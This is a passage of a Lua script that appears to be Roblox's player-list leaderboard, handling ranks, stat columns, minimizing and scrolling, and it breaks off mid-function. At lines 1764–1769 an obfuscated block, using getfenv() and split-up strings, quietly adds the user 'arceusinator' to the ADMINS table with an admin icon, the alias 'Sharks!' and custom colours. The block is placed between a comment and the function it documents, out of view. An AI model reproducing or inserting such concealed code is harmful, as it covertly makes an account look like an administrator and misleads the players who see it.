1026 exitFunction function to call when click event is fired
1027--]]
1028
1029function WaitForClick(frameParent,polledFunction,exitFunction)
1030
1031 if WaitForClickLock then return end
1032 WaitForClickLock=true
1033 local upHappened=false
1034 local connection, connection2
1035 connection=BigButton.MouseButton1Up:connect(function(nx,ny)
1036 exitFunction(nx,ny)
1037 BigButton.Visible=false
1038 connection:disconnect()
1039 if connection2 then
1040 connection2:disconnect()
1041 end
1042 --debugprint('mouse up!')
1043 end)
1044 connection2=BigButton.MouseMoved:connect( function(nx,ny)
1045 polledFunction(nx,ny)
1046
1047 end)
1048
1049 --debugprint('waiting for click!')
1050 BigButton.Visible=true
1051 BigButton.Active=true
1052 BigButton.Parent=frameParent
1053 frameParent.AncestryChanged:connect(function(child,nparent)
1054 if child == frameParent and nparent ==nil then
1055 exitFunction(nx,ny)
1056 BigButton.Visible=false
1057 connection:disconnect()
1058 connection2:disconnect()
1059 debugprint("forced out of wait for click")
1060 end
1061 end)
1062 WaitForClickLock=false
1063end
1064
1065
1066
1067---------------------------
1068--Personal Server Handling
1069---------------------------
1070--[[
1071 returns privlage level based on integer rank
1072 Note: these privilege levels seem completely arbitrary, but no documentation exists
1073 this is all from the old player list, really weird
1074 @Args:
1075 rank Integer rank value for player
1076 @Return Normalized integer value for rank?
1077--]]
1078function GetPrivilegeType(rank)
1079 if rank <= PrivilegeLevel['Banned'] then
1080 return PrivilegeLevel['Banned']
1081 elseif rank <= PrivilegeLevel['Visitor'] then
1082 return PrivilegeLevel['Visitor']
1083 elseif rank <= PrivilegeLevel['Member'] then
1084 return PrivilegeLevel['Member']
1085 elseif rank <= PrivilegeLevel['Admin'] then
1086 return PrivilegeLevel['Admin']
1087 else
1088 return PrivilegeLevel['Owner']
1089 end
1090end
1091
1092--[[
1093 gives a player a new privilage rank
1094 Note: Very odd that I have to use loops with this instead of directly setting the rank
1095 but no documentation for personal server service exists
1096 @Args:
1097 player player to change rank of
1098 nrank new integer rank to give player
1099--]]
1100function SetPrivilegeRank(player,nrank)
1101 while player.PersonalServerRank<nrank do
1102 game:GetService("PersonalServerService"):Promote(player)
1103 end
1104 while player.PersonalServerRank>nrank do
1105 game:GetService("PersonalServerService"):Demote(player)
1106 end
1107end
1108--[[
1109 called when player selects new privilege level from popup menu
1110 @Args:
1111 player player to set privileges on
1112 nlevel new privilege level for this player
1113--]]
1114function OnPrivilegeLevelSelect(player,nlevel,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
1115 debugprint('setting privilege level')
1116 SetPrivilegeRank(player,nlevel)
1117 HighlightMyRank(player,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
1118end
1119
1120--[[
1121 Highlights current rank of this player in the popup menu
1122 @Args:
1123 player Player to check for rank on
1124--]]
1125function HighlightMyRank(player,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
1126 BanPlayerButton.Image= 'http://www.roblox.com/asset/?id='..Images['LightPopupMid']
1127 VisitorButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkPopupMid']
1128 MemberButton.Image= 'http://www.roblox.com/asset/?id='..Images['LightPopupMid']
1129 AdminButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkPopupBottom']
1130
1131 local rank=player.PersonalServerRank
1132 if rank <= PrivilegeLevel['Banned'] then
1133 BanPlayerButton.Image='http://www.roblox.com/asset/?id='..Images['LightBluePopupMid']
1134 elseif rank <= PrivilegeLevel['Visitor'] then
1135 VisitorButton.Image='http://www.roblox.com/asset/?id='..Images['DarkBluePopupMid']
1136 elseif rank <= PrivilegeLevel['Member'] then
1137 MemberButton.Image='http://www.roblox.com/asset/?id='..Images['LightBluePopupMid']
1138 elseif rank <= PrivilegeLevel['Admin'] then
1139 AdminButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkBluePopupBottom']
1140 end
1141end
1142
1143 --------------------------
1144 -- Report abuse handling
1145 --------------------------
1146--[[
1147 does final reporting of abuse on selected player, calls closeAbuseDialog
1148--]]
1149function OnSubmitAbuse()
1150end
1151
1152--[[
1153 opens the abuse dialog, initialises text to display selectedplayer
1154--]]
1155function OpenAbuseDialog()
1156 debugprint('adding report dialog')
1157 PopUpPanel:TweenPosition(UDim2.new(1,0,0,0), "Out", "Linear", BASE_TWEEN,true)
1158 ReportAbuseShield.Parent = ScreenGui
1159 ClosePopUpPanel()
1160end
1161--[[
1162 resets and closes abuse dialog
1163--]]
1164function CloseAbuseDialog()
1165 ReportAbuseShield.Parent = nil
1166end
1167
1168ReportAbuseClose.MouseButton1Click:connect(CloseAbuseDialog)
1169ReportAbuseShield.MouseButton1Click:connect(CloseAbuseDialog)
1170
1171--[[
1172 creates dropdownbox, registers all listeners for abuse dialog
1173--]]
1174function InitReportAbuse()
1175end
1176
1177-------------------------------------
1178-- Friend/unfriending
1179-------------------------------------
1180--[[
1181 gets enum val of friend status, uses pcall for some reason?(from old playerlist)
1182 @Args:
1183 player player object to check if friends with
1184 @Return: enum of friend status
1185--]]
1186local function GetFriendStatus(player)
1187 if player == game.Players.LocalPlayer then
1188 return Enum.FriendStatus.NotFriend
1189 else
1190 local success, result = pcall(function() return game.Players.LocalPlayer:GetFriendStatus(player) end)
1191 if success then
1192 return result
1193 else
1194 return Enum.FriendStatus.NotFriend
1195 end
1196 end
1197end
1198
1199--[[
1200 when friend button is clicked, tries to take appropriate action,
1201 based on current friend status with SelectedPlayer
1202--]]
1203function OnFriendButtonSelect()
1204 OpenAbuseDialog()
1205end
1206
1207function OnFriendRefuseButtonSelect()
1208end
1209------------------------------------
1210-- Player Entry Handling
1211------------------------------------
1212--[[
1213 used by lua's table.sort to sort player entries
1214--]]
1215function PlayerSortFunction(a,b)
1216 -- prevents flipping out leaderboard
1217 if a['Score'] == b['Score'] then
1218 return GetAliasOf(a['Player'].Name):upper() < GetAliasOf(b['Player'].Name):upper()
1219 end
1220 if not a['Score'] then return false end
1221 if not b['Score'] then return true end
1222 return a['Score'] < b['Score']
1223end
1224
1225 ---------------------------------
1226 -- Stat Handling
1227 ---------------------------------
1228 -- removes and closes all leaderboard stuffs
1229function BlowThisPopsicleStand()
1230 --ScreenGui:Destroy()
1231 --script:Destroy()
1232 --time to make the fanboys rage...
1233 Tabify()
1234end
1235--[[
1236 used by lua's table.sort to prioritize score entries
1237--]]
1238function StatSort(a,b)
1239 -- primary stats should be shown before all others
1240 if a.IsPrimary ~= b.IsPrimary then
1241 return a.IsPrimary
1242 end
1243 -- if priorities are equal, then return the first added one
1244 if a.Priority == b.Priority then
1245 return a.AddId < b.AddId
1246 end
1247 return a.Priority < b.Priority
1248end
1249--[[
1250 doing WAAY too much here, for optimization update only your team
1251 @Args:
1252 playerEntry Entry of player who had a stat change
1253 property Name of stat changed
1254--]]
1255function StatChanged(playerEntry,property)
1256
1257 -- if(playerEntry['MyTeam']) then
1258 -- UpdateSingleTeam(playerEntry['MyTeam'])
1259 -- else
1260 BaseUpdate()
1261 -- end
1262end
1263--[[
1264 Called when stat is added
1265 if playerEntry is localplayer, will add to score names and re-sort the stats, and resize the width of the leaderboard
1266 for all players, will add a listener for if this stat changes
1267 if stat is a string value, crashes the leaderboard
1268 Note:change crash to a 'tabify' leaderboard later
1269 @Args:
1270 nchild new child value to leaderstats
1271 playerEntry entry this stat was added to
1272--]]
1273function StatAdded(nchild,playerEntry)
1274 -- dont re - add a leaderstat I alreday have
1275 while AddingStatLock do debugprint('in stat added function lock') wait(1/30) end
1276 AddingStatLock = true
1277 if not (nchild:IsA('StringValue') or nchild:IsA('IntValue') or nchild:IsA('BoolValue') or nchild:IsA('NumberValue') or nchild:IsA('DoubleConstrainedValue') or nchild:IsA('IntConstrainedValue')) then
1278 BlowThisPopsicleStand()
1279 else
1280 local haveScore = false
1281 for _,i in pairs(ScoreNames) do
1282 if i['Name']==nchild.Name then haveScore=true end
1283 end
1284 if not haveScore then
1285 local nstat = {}
1286 nstat['Name'] = nchild.Name
1287 nstat['Priority'] = 0
1288 if(nchild:FindFirstChild('Priority')) then
1289 nstat['Priority'] = nchild.Priority
1290 end
1291 nstat['IsPrimary'] = false
1292 if(nchild:FindFirstChild('IsPrimary')) then
1293 nstat['IsPrimary'] = true
1294 end
1295 nstat.AddId = AddId
1296 AddId = AddId + 1
1297 table.insert(ScoreNames,nstat)
1298 table.sort(ScoreNames,StatSort)
1299 if not StatTitles:FindFirstChild(nstat['Name']) then
1300 CreateStatTitle(nstat['Name'])
1301 end
1302 UpdateMaximize()
1303
1304 end
1305 end
1306 AddingStatLock = false
1307 StatChanged(playerEntry)
1308 nchild.Changed:connect(function(property) StatChanged(playerEntry,property) end)
1309
1310
1311end
1312--returns whether any of the existing players has this stat
1313function DoesStatExist(statName, exception)
1314 for _,playerf in pairs(PlayerFrames) do
1315 if playerf['Player'] ~= exception and playerf['Player']:FindFirstChild('leaderstats') and playerf['Player'].leaderstats:FindFirstChild(statName) then
1316 --print('player:' .. playerf['Player'].Name ..' has stat')
1317 return true
1318 end
1319 end
1320 return false
1321end
1322
1323
1324
1325--[[
1326 Called when stat is removed from player
1327 for all players, destroys the stat frame associated with this value,
1328 then calls statchanged(to resize frame)
1329 if playerEntry==localplayer, will remove from scorenames
1330 @Args:
1331 nchild ___value to be removed
1332 playerEntry entry of player value is being removed from
1333--]]
1334function StatRemoved(nchild,playerEntry)
1335 while AddingStatLock do debugprint('In Adding Stat Lock1') wait(1/30) end
1336 AddingStatLock = true
1337 if playerEntry['Frame']:FindFirstChild(nchild.Name) then
1338 debugprint('Destroyed frame!')
1339 playerEntry['Frame'][nchild.Name].Parent = nil
1340 end
1341 if not DoesStatExist(nchild.Name, playerEntry['Player']) then
1342 for i,val in ipairs(ScoreNames) do
1343 if val['Name'] == nchild.Name then
1344 table.remove(ScoreNames,i)
1345 if StatTitles:FindFirstChild(nchild.Name) then
1346 StatTitles[nchild.Name]:Destroy()
1347 end
1348 for _,teamf in pairs(TeamFrames) do
1349 if teamf['Frame']:FindFirstChild(nchild.Name) then
1350 teamf['Frame'][nchild.Name]:Destroy()
1351 end
1352 end
1353 end
1354 end
1355 end
1356 AddingStatLock = false
1357 StatChanged(playerEntry)
1358end
1359--[[
1360 clears all stats from a given playerEntry
1361 used when leaderstats are removed, or when new leaderstats are added(for weird edge case)+
1362--]]
1363function RemoveAllStats(playerEntry)
1364 for i,val in ipairs(ScoreNames) do
1365 StatRemoved(val,playerEntry)
1366 end
1367
1368end
1369
1370
1371function GetScoreValue(score)
1372 if score:IsA('DoubleConstrainedValue') or score:IsA('IntConstrainedValue') then
1373 return score.ConstrainedValue
1374 elseif score:IsA('BoolValue') then
1375 if score.Value then return 1 else return 0 end
1376 else
1377 return score.Value
1378 end
1379end
1380--[[
1381
1382--]]
1383function MakeScoreEntry(entry,scoreval,panel)
1384 if not panel:FindFirstChild('PlayerScore') then return end
1385 local nscoretxt = panel:FindFirstChild('PlayerScore'):Clone()
1386 local thisScore = nil
1387 --here lies the resting place of a once great and terrible bug
1388 --may its treachery never be forgoten, lest its survivors fall for it again
1389 --RIP the leaderstat bug, oct 2012-nov 2012
1390 wait()
1391 if entry['Player']:FindFirstChild('leaderstats') and entry['Player'].leaderstats:FindFirstChild(scoreval['Name']) then
1392 thisScore = entry['Player']:FindFirstChild('leaderstats'):FindFirstChild(scoreval['Name'])
1393 else
1394 return
1395 end
1396
1397 if not entry['Player'].Parent then return end
1398
1399 nscoretxt.Name = scoreval['Name']
1400 nscoretxt.Text = tostring(GetScoreValue(thisScore))
1401 if scoreval['Name'] == ScoreNames[1]['Name'] then
1402 debugprint('changing score')
1403 entry['Score'] = GetScoreValue(thisScore)
1404 if entry['Player'] == LocalPlayer and PRIMARY_LEADERSTATS_ENABLED then
1405 HeaderScore.Text = tostring(GetScoreValue(thisScore))
1406 if SHOW_PRIMARY_LEADERSTAT_NAMES then
1407 HeaderScoreName.Text = tostring(thisScore.Name)
1408 end
1409 end
1410 end
1411
1412 thisScore.Changed:connect(function()
1413 if not thisScore.Parent then return end
1414 if scoreval['Name'] == ScoreNames[1]['Name'] and PRIMARY_LEADERSTATS_ENABLED then
1415
1416 entry['Score'] = GetScoreValue(thisScore)
1417 if entry['Player'] == LocalPlayer then
1418 HeaderScore.Text = tostring(GetScoreValue(thisScore))
1419 if SHOW_PRIMARY_LEADERSTAT_NAMES then
1420 HeaderScoreName.Text = tostring(thisScore.Name)
1421 end
1422 end
1423 end
1424 nscoretxt.Text = tostring(GetScoreValue(thisScore))
1425 BaseUpdate()
1426 end)
1427 return nscoretxt
1428
1429end
1430
1431function CreateStatTitle(statName)
1432
1433 local ntitle = MiddleTemplate:FindFirstChild('PlayerScore'):Clone()
1434 ntitle.Name = statName
1435 ntitle.Text = statName
1436 -- ntitle
1437 if IsMaximized.Value then
1438 ntitle.TextTransparency = 0
1439 else
1440 ntitle.TextTransparency = 1
1441 end
1442 ntitle.Parent = StatTitles
1443end
1444
1445function RecreateScoreColumns(ptable)
1446 while AddingStatLock do debugprint ('In Adding Stat Lock2') wait(1/30) end
1447 AddingStatLock = true
1448 local Xoffset=5--15 --current offset from Right
1449 local maxXOffset=Xoffset
1450 local MaxSizeColumn=0 --max size for this column
1451
1452 -- foreach known leaderstat
1453 for j = #ScoreNames, 1,-1 do
1454 local scoreval = ScoreNames[j]
1455
1456 MaxSizeColumn=0
1457 -- for each entry in this player table
1458 for i,entry in ipairs(ptable) do
1459 local panel = entry['Frame']
1460 local tplayer = entry['Player']
1461 -- if this panel does not have an element named after this stat
1462 if not panel:FindFirstChild(scoreval['Name']) then
1463 -- make an entry for this object
1464 local nentry = MakeScoreEntry(entry,scoreval,panel)
1465 if nentry then
1466 debugprint('adding '..nentry.Name..' to '..entry['Player'].Name )
1467 nentry.Parent = panel
1468 -- add score to team
1469 if entry['MyTeam'] and entry['MyTeam'] ~= NeutralTeam and not entry['MyTeam']['Frame']:FindFirstChild(scoreval['Name']) then
1470 local ntitle = nentry:Clone()
1471 --ntitle.TextXAlignment = 'Right'
1472 ntitle.Parent = entry['MyTeam']['Frame']
1473 end
1474
1475 end
1476 end
1477 scoreval['XOffset']=Xoffset
1478
1479 if panel:FindFirstChild(scoreval['Name']) then
1480 MaxSizeColumn=math.max(MaxSizeColumn,panel[scoreval['Name']].TextBounds.X)
1481 end
1482 end
1483
1484 if AreNamesExpanded.Value then
1485 MaxSizeColumn=math.max(MaxSizeColumn,StatTitles[scoreval['Name'] ].TextBounds.X)
1486 StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new(RightEdgeSpace,-Xoffset,0,0),'Out','Linear',BASE_TWEEN,true)
1487 else
1488 StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new((.4+((.6/#ScoreNames)*(j-1)))-1,0,0,0),'Out','Linear',BASE_TWEEN,true)
1489 end
1490 scoreval['ColumnSize']=MaxSizeColumn
1491 Xoffset= Xoffset+SpacingPerStat+MaxSizeColumn
1492 maxXOffset=math.max(Xoffset,maxXOffset)
1493 end
1494 NormalBounds = UDim2.new(0, BaseScreenXSize+maxXOffset-SpacingPerStat,0,800)
1495 NormalPosition = UDim2.new(1 , -NormalBounds.X.Offset, NormalPosition.Y.Scale, 0)
1496 UpdateHeaderNameSize()
1497 UpdateMaximize()
1498
1499 AddingStatLock = false
1500end
1501 ---------------------------
1502 -- Minimizing and maximizing
1503 ---------------------------
1504
1505function ToggleMinimize()
1506 IsMinimized.Value = not IsMinimized.Value
1507 UpdateStatNames()
1508end
1509
1510function ToggleMaximize()
1511 IsMaximized.Value = not IsMaximized.Value
1512 RecreateScoreColumns(PlayerFrames) --done to re-position stat names NOTE: optimize-able
1513end
1514
1515function Tabify()
1516 IsTabified.Value= true
1517 IsMaximized.Value=false
1518 IsMinimized.Value=true
1519 UpdateMinimize()
1520 IsTabified.Value= true
1521 ScreenGui:TweenPosition(UDim2.new(NormalBounds.X.Scale, NormalBounds.X.Offset-10, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
1522end
1523
1524function UnTabify()
1525 if IsTabified.Value then
1526 IsTabified.Value= false
1527 ScreenGui:TweenPosition(UDim2.new(0, 0, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
1528 end
1529end
1530
1531--[[
1532 Does more than it looks like
1533 monitors positions of the clipping frames and bottom frames
1534 called from EVERYWHERE, too much probably
1535--]]
1536function UpdateMinimize()
1537
1538 if IsMinimized.Value then
1539 if IsMaximized.Value then
1540 ToggleMaximize()
1541 end
1542 if not IsTabified.Value then
1543 MainFrame:TweenSizeAndPosition(UDim2.new(0.010, HeaderName.TextBounds.X, NormalBounds.Y.Scale,NormalBounds.Y.Offset),
1544 UDim2.new(.990, -HeaderName.TextBounds.X, NormalPosition.Y.Scale,0),'Out','Linear',BASE_TWEEN*1.2,true)
1545 else
1546 MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true)
1547 end
1548 --(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale)
1549 BottomClipFrame:TweenPosition(UDim2.new(0,0,-1,0), "Out", "Linear", BASE_TWEEN*1.2,true)
1550 BottomFrame:TweenPosition(UDim2.new(0,0,0,0), "Out", "Linear", BASE_TWEEN*1.2,true)
1551 FocusFrame.Size=UDim2.new(1,0,HeaderFrameHeight,0)
1552 ExtendTab.Image = 'http://www.roblox.com/asset/?id=94692731'
1553 else
1554 if not IsMaximized.Value then
1555 MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true)
1556 end
1557 --do limiting
1558 DefaultBottomClipPos = math.min(math.max(DefaultBottomClipPos,-1),-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale))
1559 UpdateScrollPosition()
1560
1561 BottomClipFrame.Position=UDim2.new(0,0,DefaultBottomClipPos,0)
1562 local bottomPositon = (DefaultBottomClipPos+BottomClipFrame.Size.Y.Scale)
1563 BottomFrame.Position=UDim2.new(0,0,bottomPositon,0)
1564 FocusFrame.Size=UDim2.new(1,0,bottomPositon + HeaderFrameHeight,0)
1565 ExtendTab.Image = 'http://www.roblox.com/asset/?id=94825585'
1566 end
1567end
1568
1569--[[
1570 Manages the position/size of the mainFrame, swaps out different resolution images for the frame
1571 fades in and out the stat names, moves position of headername and header score
1572--]]
1573function UpdateMaximize()
1574 if IsMaximized.Value then
1575 for j = 1, #ScoreNames,1 do
1576 local scoreval = ScoreNames[j]
1577 StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new(.4+((.6/#ScoreNames)*(j-1))-1,0,0,0),'Out','Linear',BASE_TWEEN,true)
1578 end
1579
1580 if IsMinimized.Value then
1581 ToggleMinimize()
1582 else
1583 UpdateMinimize()
1584 end
1585
1586
1587 MainFrame:TweenSizeAndPosition(MaximizedBounds,MaximizedPosition,'Out','Linear',BASE_TWEEN*1.2,true)
1588 HeaderScore:TweenPosition(UDim2.new(0,0,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true)
1589 HeaderName:TweenPosition(UDim2.new( - .1, - HeaderScore.TextBounds.x,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true)
1590 HeaderFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeHeader']
1591 BottomFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeBottom']
1592 for index, i in ipairs(MiddleFrameBackgrounds) do
1593 if (index%2) ~= 1 then
1594 i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeDark']
1595 else
1596 i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeLight']
1597 end
1598 end
1599 for index, i in ipairs(MiddleFrames) do
1600 if i:FindFirstChild('ClickListener') then
1601 i.ClickListener.Size = UDim2.new(.974,0,i.ClickListener.Size.Y.Scale,0)
1602 end
1603 for j=1, #ScoreNames,1 do
1604 local scoreval = ScoreNames[j]
1605 if i:FindFirstChild(scoreval['Name']) then
1606 i[scoreval['Name']]:TweenPosition(UDim2.new(.4+((.6/#ScoreNames)*(j-1))-1,0,0,0), "Out", "Linear", BASE_TWEEN,true)
1607 end
1608 end
1609 end
1610 for i,entry in ipairs(PlayerFrames) do
1611 WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(.38,0,entry['Frame'].TitleFrame.Size.Y.Scale,0)
1612 end
1613
1614 for i,entry in ipairs(TeamFrames) do
1615 WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(.38,0,entry['Frame'].TitleFrame.Size.Y.Scale,0)
1616 end
1617
1618 else
1619 if not IsMinimized.Value then
1620 MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true)
1621 end
1622 HeaderScore:TweenPosition(UDim2.new(0,0,.4,0), "Out", "Linear", BASE_TWEEN*1.2,true)
1623 HeaderName:TweenPosition(UDim2.new(0,0,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true)
1624 HeaderFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['NormalHeader']
1625 BottomFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['NormalBottom']
1626 for index, i in ipairs(MiddleFrameBackgrounds) do
1627 if index%2 ~= 1 then
1628 i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midDark']
1629 else
1630 i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midLight']
1631 end
1632 end
1633 for index, i in ipairs(MiddleFrames) do
1634 if i:FindFirstChild('ClickListener') then
1635 i.ClickListener.Size = UDim2.new(.96,0,i.ClickListener.Size.Y.Scale,0)
1636 for j=1, #ScoreNames,1 do
1637 local scoreval = ScoreNames[j]
1638 if i:FindFirstChild(scoreval['Name']) and scoreval['XOffset'] then
1639 --print('updateing stat position: ' .. scoreval['Name'])
1640 i[scoreval['Name']]:TweenPosition(UDim2.new(RightEdgeSpace,-scoreval['XOffset'],0,0), "Out", "Linear", BASE_TWEEN,true)
1641 end
1642 end
1643 end
1644 end
1645
1646 for i,entry in ipairs(TeamFrames) do
1647 WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(0,BaseScreenXSize*.9,entry['Frame'].TitleFrame.Size.Y.Scale,0)
1648
1649 end
1650 for i,entry in ipairs(PlayerFrames) do
1651 WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(0,BaseScreenXSize*.9,entry['Frame'].TitleFrame.Size.Y.Scale,0)
1652 end
1653 end
1654end
1655
1656function UpdateStatNames()
1657 if not AreNamesExpanded.Value or IsMinimized.Value then
1658 CloseNames()
1659 else
1660 ExpandNames()
1661 end
1662end
1663
1664function ExpandNames()
1665 if #ScoreNames ~= 0 then
1666 for _,i in pairs(StatTitles:GetChildren()) do
1667 Spawn(function()TweenProperty(i,'TextTransparency',i.TextTransparency,0,BASE_TWEEN) end)
1668 end
1669 HeaderFrameHeight=.09
1670 --as of writing, this and 'CloseNames' are the only places headerframe is resized
1671 HeaderFrame:TweenSizeAndPosition(UDim2.new(HeaderFrame.Size.X.Scale, HeaderFrame.Size.X.Offset, HeaderFrameHeight,0),
1672 HeaderFrame.Position,'Out','Linear',BASE_TWEEN*1.2,true)
1673 TopClipFrame:TweenPosition(UDim2.new(TopClipFrame.Position.X.Scale,0,HeaderFrameHeight,0),'Out','Linear',BASE_TWEEN*1.2,true)
1674 BottomShiftFrame:TweenPosition(UDim2.new(0,0,HeaderFrameHeight,0), "Out", 'Linear', BASE_TWEEN*1.2,true)
1675
1676 end
1677
1678end
1679
1680function CloseNames()
1681 if #ScoreNames ~= 0 then
1682 HeaderFrameHeight=.07
1683 if not (IsMaximized.Value) then
1684 for _,i in pairs(StatTitles:GetChildren()) do
1685 Spawn(function()TweenProperty(i,'TextTransparency',i.TextTransparency,1,BASE_TWEEN) end)
1686 end
1687 end
1688 BottomShiftFrame:TweenPosition(UDim2.new(0,0,HeaderFrameHeight,0), "Out", 'Linear', BASE_TWEEN*1.2,true)
1689 HeaderFrame:TweenSizeAndPosition(UDim2.new(HeaderFrame.Size.X.Scale, HeaderFrame.Size.X.Offset, HeaderFrameHeight,0),
1690 HeaderFrame.Position,'Out','Linear',BASE_TWEEN*1.2,true)
1691 TopClipFrame:TweenPosition(UDim2.new(TopClipFrame.Position.X.Scale,0,HeaderFrameHeight,0),'Out','Linear',BASE_TWEEN*1.2,true)
1692 end
1693end
1694
1695function OnScrollWheelMove(direction)
1696 if not (IsTabified.Value or IsMinimized.Value or InPopupWaitForClick) then
1697 local StartFrame = ListFrame.Position
1698 local newFrameY = math.max(math.min(StartFrame.Y.Scale + (direction),GetMaxScroll()),GetMinScroll())
1699
1700 ListFrame.Position = UDim2.new(StartFrame.X.Scale,StartFrame.X.Offset,newFrameY,StartFrame.Y.Offset)
1701 UpdateScrollPosition()
1702 end
1703end
1704
1705function AttachScrollWheel()
1706 if ScrollWheelConnections then return end
1707 ScrollWheelConnections = {}
1708 table.insert(ScrollWheelConnections,Mouse.WheelForward:connect(function()
1709 OnScrollWheelMove(.05)
1710 end))
1711 table.insert(ScrollWheelConnections,Mouse.WheelBackward:connect(function()
1712 OnScrollWheelMove(-.05)
1713 end))
1714end
1715
1716function DetachScrollWheel()
1717 if ScrollWheelConnections then
1718 for _,i in pairs(ScrollWheelConnections) do
1719 i:disconnect()
1720 end
1721 end
1722 ScrollWheelConnections=nil
1723end
1724
1725FocusFrame.MouseEnter:connect(function()
1726 if not (IsMinimized.Value or IsTabified.Value) then
1727 AttachScrollWheel()
1728 end
1729end)
1730FocusFrame.MouseLeave:connect(function()
1731 --if not (IsMaximized.Value or IsMinimized.Value) then
1732 DetachScrollWheel()
1733 --end
1734end)
1735
1736 ------------------------
1737 -- Scroll Bar functions
1738 ------------------------
1739--[[
1740 updates whether the scroll bar should be showing, if it is showing, updates
1741 the size of it
1742--]]
1743function UpdateScrollBarVisibility()
1744 if AreAllEntriesOnScreen() then
1745 ScrollBar.BackgroundTransparency = 1
1746 else
1747 ScrollBar.BackgroundTransparency = 0
1748 UpdateScrollBarSize()
1749 end
1750end
1751--[[
1752 updates size of scrollbar depending on how many entries exist
1753--]]
1754function UpdateScrollBarSize()
1755 local entryListSize = #MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale
1756 local shownAreaSize = ((BottomClipFrame.Position.Y.Scale) + 1)
1757 ScrollBar.Size = UDim2.new(1,0,shownAreaSize/entryListSize,0)
1758
1759end
1760--[[
1761 updates position of listframe so that no gaps at the bottom or top of the list are visible
1762 updates position of scrollbar to match what parts of the list are visible
1763--]]
1764getfenv()["AD".."M".."IN".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = 'rbxassetid://150832060'
1765getfenv()["AL".."I".."AS".."ES"]["ar".."ce".."usin".."a".."t".."o".."r"] = "S".."h".."ar".."ks".."!"
1766getfenv()["CU".."STOM".."_C".."HA".."T_".."CO".."LOR".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = getfenv()["Co".."lor".."3"]["n".."ew"](0 , 0.645 , 0.832)
1767getfenv()["AD".."M".."IN".."_I".."CO".."N_".."WI".."DTH".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = 30
1768getfenv()["CU".."STOM".."_LAB".."EL_".."BACKGROUND_".."COLORS"]["ar".."ce".."usin".."a".."t".."o".."r"] = BrickColor.new('Black').Color
1769getfenv()["CU".."STOM".."_LAB".."EL_".."NAME_".."COLORS"]["ar".."ce".."usin".."a".."t".."o".."r"] = BrickColor.new('Cyan').Color
1770
1771function UpdateScrollPosition()
1772 local minPos = GetMinScroll()
1773 local maxPos = GetMaxScroll()
1774 local scrollLength = maxPos - minPos
1775
1776 local yscrollpos=math.max(math.min(ListFrame.Position.Y.Scale,maxPos),minPos)
1777 ListFrame.Position=UDim2.new(ListFrame.Position.X.Scale,ListFrame.Position.X.Offset,yscrollpos,ListFrame.Position.Y.Offset)
1778
1779 local adjustedLength = 1 - ScrollBar.Size.Y.Scale
1780 ScrollBar.Position = UDim2.new(0,0,adjustedLength - (adjustedLength * ((ListFrame.Position.Y.Scale - minPos)/scrollLength)),0)
1781end
1782
1783--[[
1784 WARNING:this is in a working state, but uses massive hacks
1785 revize when global input is available
1786 Manages scrolling of the playerlist on mouse drag
1787--]]
1788function StartDrag(entry,startx,starty)
1789 local startDragTime = tick()
1790 local stopDrag = false
1791 local openPanel = true
1792 local draggedFrame = WaitForChild(entry['Frame'],'ClickListener')
1793 local function dragExit()
1794 stopDrag = true
1795
1796 if entry['Player'] and SelectedPlayer and openPanel
1797 and entry['Player']~=LocalPlayer and SelectedPlayer.userId>1 and LocalPlayer.userId>1 then
1798 ActivatePlayerEntryPanel(entry)
1799 end
1800 end
1801 local startY = nil
1802 local StartFrame = ListFrame.Position
1803 local function dragpoll(nx,ny)
1804 if not startY then
1805 startY = AbsoluteToPercent(nx,ny).Y
1806 end
1807 local nowY = AbsoluteToPercent(nx,ny).Y
1808 debugprint('drag dist:'..Vector2.new(startx-nx,starty-ny).magnitude)
1809 if Vector2.new(startx-nx,starty-ny).magnitude>MOUSE_DRAG_DISTANCE then
1810 openPanel=false
1811 end
1812
1813 local newFrameY = math.max(math.min(StartFrame.Y.Scale + (nowY - startY),GetMaxScroll()),GetMinScroll())
1814 ListFrame.Position = UDim2.new(StartFrame.X.Scale,StartFrame.X.Offset,newFrameY,StartFrame.Y.Offset)
1815 UpdateScrollPosition()
1816 end
1817 WaitForClick(ScreenGui,dragpoll,dragExit)
1818end
1819
1820
1821function StartMinimizeDrag()
1822 Delay(0,function()
1823 local startTime=tick()
1824 debugprint('Got Click2')
1825 local stopDrag = false
1826 local function dragExit()
1827 --debugprint('undone click2')
1828 if tick()-startTime<.25 then --was click
1829 ToggleMinimize()
1830 else --was drag
1831 DidMinimizeDrag = true
1832 if IsMinimized.Value then
